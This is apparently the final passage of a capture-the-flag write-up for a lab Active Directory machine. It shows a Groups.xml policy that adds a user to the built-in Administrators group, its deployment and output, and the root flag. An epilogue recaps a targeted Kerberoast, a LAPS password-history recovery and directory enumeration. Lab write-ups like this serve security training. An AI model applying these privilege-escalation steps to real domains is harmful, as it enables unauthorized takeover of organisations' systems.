  1. “Online option is disabled” but that’s just because I didn’t pass -o. Without it, the policy wouldn’t deploy anyway, so that line is a red herring.
  2. “No valid configurations were found” is the real signal. I targeted a User element, but deploy operates on Groups. The schema makes the distinction clear: a Group element refers to a local group on the client computer, and a Properties block with Members is how you add members to it. My User config simply isn’t in the shape the command accepts.

Cost of the detour: not that long, and it told me exactly which element type to use.

Amending to a Group element that adds TRASK\b.trask to BUILTIN\Administrators:

<Groups clsid="{3125E937-EB89-430C-840E-C3223A88459D}">
    <Group clsid="{DF5F1855-81E5-4EA5-9BFB-CD344709FE57}"
           name="BUILTIN\Administrators" image="2" changed="2025-01-01 12:00:00" uid="{7974D884-...}">
        <Properties action="U" groupName="Administrators (built-in)" userAction="ADD"
                    deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0">
            <Members>
                <Member name="TRASK\b.trask" action="ADD" sid=""/>
            </Members>
        </Properties>
    </Group>
</Groups>
.\SentinelSecurity.Client.exe deploy -c .\trask.xml
Online option is disabled, the Sentinel Action Policy will not be deployed.
These configurations would have been applied to the Sentinel network:
Add-ADGroupMember -Identity 'Administrators' -Members 'CN=Bertrand Trask,OU=Staff,DC=trask,DC=hsm'

Now it’s parsing the config and echoing back the PowerShell it would run. It just needs -o to actually commit:

.\SentinelSecurity.Client.exe deploy -c .\trask.xml -o
Deploying the updated configuration to available Sentinel units.
Add-ADGroupMember -Identity 'Administrators' -Members 'CN=Bertrand Trask,OU=Staff,DC=trask,DC=hsm'
Activating the Sentinel Action Policy...
Sentinel Action Policy has been deployed.

Checking against the domain:

net user b.trask /domain
User name     b.trask
Full Name     Bertrand Trask
Comment       CEO
Local Group Memberships  *Administrators

New ticket, log back in, collect the root flag:

type C:\Users\Administrator\Desktop\root.txt
privileged
DC01 as TRASK\b.trask → Domain Administrators —> root flag

Epilogue: the wrong turns

This box is built like a migration that never finished, and the wrong turns weren’t accidents, just the consequences of that.

What didn’t work, and why it still mattered:

  • The welcome credentials don’t log into the domain at all. A credential that looks like it should work doesn’t.
  • The rate limiters on both web hosts are working as intended. The web is context, not an entry point.
  • The ffuf size filter hides onboarding.trask.hsm because it’s an empty 302. Matching on status codes is what surfaces it.
  • bloodhound-ce-python can’t collect this domain (LDAP signing, no TLS cert). The collector is the bottleneck, not the path.
  • e.parsons is a live identity but initially an empty graph. Its only value is that it can see R&D: the extra objects in the enumeration are the whole find.
  • The current LAPS password for lab-admin doesn’t reach the machine, because the GPO is denied to Legacy_Hardware_Profile. The value I needed was in the encrypted history, not the current attribute.
  • The first Groups.xml is rejected. “Online disabled” is a red herring; the real fix is targeting a Group.
  • m.mold the targeted Kerberoast works, the credential is valid, and the graph shows nothing. The way out isn’t a tool. It’s remembering a log we found three identities ago.
  • Security Directive 58-2307 gets filed as meaningless in the svc_dcsecure_core section and only starts to mean something once I’m stuck at m.mold.

And under all of it, the word legacy: 1988 temp passwords, PKZIP2, legacy password construction, a legacy hardware profile, legacy service compatible access, legacy Microsoft LAPS versus Windows LAPS, legacy hardware that can’t speak the new encryption. Every escalation on this box is a place where a migration left the old thing running right next to the new one, and nobody updated the access controls.